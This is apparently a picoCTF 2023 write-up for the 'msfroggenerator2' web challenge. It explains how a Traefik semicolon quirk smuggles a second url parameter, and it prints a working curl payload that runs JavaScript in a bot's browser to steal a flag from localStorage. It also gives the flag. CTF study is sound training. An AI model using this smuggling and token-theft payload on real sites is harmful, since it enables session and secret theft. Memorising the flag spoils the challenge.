msfroggenerator2 picoCTF 2023 Solution

Published: April 26, 2023

Description

A frog image generator with a bot that visits submitted report URLs. The Traefik reverse proxy version used by the app converts semicolons to ampersands in query strings, letting you replace the URL parameter with a JavaScript payload that steals the flag from the bot's localStorage.

Read the provided source code to understand the four-container architecture: API, bot, Traefik, and OpenResty.

Note which Traefik version is in use - versions above 2.72 convert semicolons to ampersands in query strings.

The bot visits report URLs and has the flag in its localStorage.

bash
# Connect to the challenge instance and note the port number
bash
# Read source: the bot stores the flag in localStorage and visits submitted URLs
  1. Step 1Understand the Traefik semicolon-to-ampersand quirk
    Traefik versions above 2.72 changed how they handle semicolons in query strings: a semicolon is treated as a parameter separator (equivalent to ampersand). So a URL like ?url=X;url=Y becomes ?url=X&url=Y, effectively replacing the first url parameter with the second.
    Learn more

    When you submit a report, the request flows through Traefik to the backend. The backend passes the URL parameter to the bot. By including a semicolon followed by another url= parameter, Traefik splits the query string at the semicolon, and the second url= value overwrites the first.

    This lets you replace any URL the backend would send to the bot with a JavaScript URI of your choosing, even though the application intends to validate and restrict which URLs the bot visits.

  2. Step 2Craft a JavaScript payload to exfiltrate the flag
    Write JavaScript that reads the flag from localStorage, then calls the API to add a report with the flag as the screenshot value. Use URL encoding carefully: percent-encode the semicolon as %3b, quote characters as needed.
    js
    # The payload structure (URL-encoded):
    # url=http://api/some-path%3burl=javascript:fetch('/api/reports/add',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.getItem('flag')},body:JSON.stringify({screenshot:localStorage.getItem('flag')})})
    bash
    # Full curl command (replace PORT with your instance port):
    bash
    curl --globoff 'http://saturn.picoctf.net:PORT/api/reports/add?url=http://api/reports/add%3burl=javascript:fetch(%27/api/reports/add%27,{method:%27POST%27,headers:{%27Content-Type%27:%27application/json%27,%27Authorization%27:%27Bearer%20%27+localStorage.getItem(%27flag%27)},body:JSON.stringify({screenshot:localStorage.getItem(%27flag%27)})})'
    Learn more

    The --globoff flag in curl prevents curl from interpreting curly braces as a range expression. Without it, curl tries to expand {screenshot:... as a glob pattern and fails.

    The bot visits the JavaScript URI, executes the code in its browser context, reads localStorage.getItem('flag') (which the bot loaded from the API), then POSTs a new report entry with the flag as the screenshot value. The Authorization header uses the flag value itself as the bearer token because that is how the bot is authenticated.

  3. Step 3Retrieve the report containing the flag
    After the bot processes the report, fetch the reports list from the API. The most recent report should contain the flag as the screenshot value.
    bash
    curl 'http://saturn.picoctf.net:PORT/api/reports'
    Learn more

    The reports endpoint has no authentication check, so any user can read it. The bot's POST added a report whose screenshot field contains the flag. Parse the JSON response and look for the picoCTF string.

Flag

picoCTF{fr33_50ftw4r3_fr33_fr0gs_f83e5537}

The Traefik semicolon quirk lets you inject a second url= parameter that replaces the intended destination with a JavaScript URI. The bot executes it and leaks the flag via the open reports API.

Want more picoCTF 2023 writeups?

Useful tools for Web Exploitation

Related reading

What to try next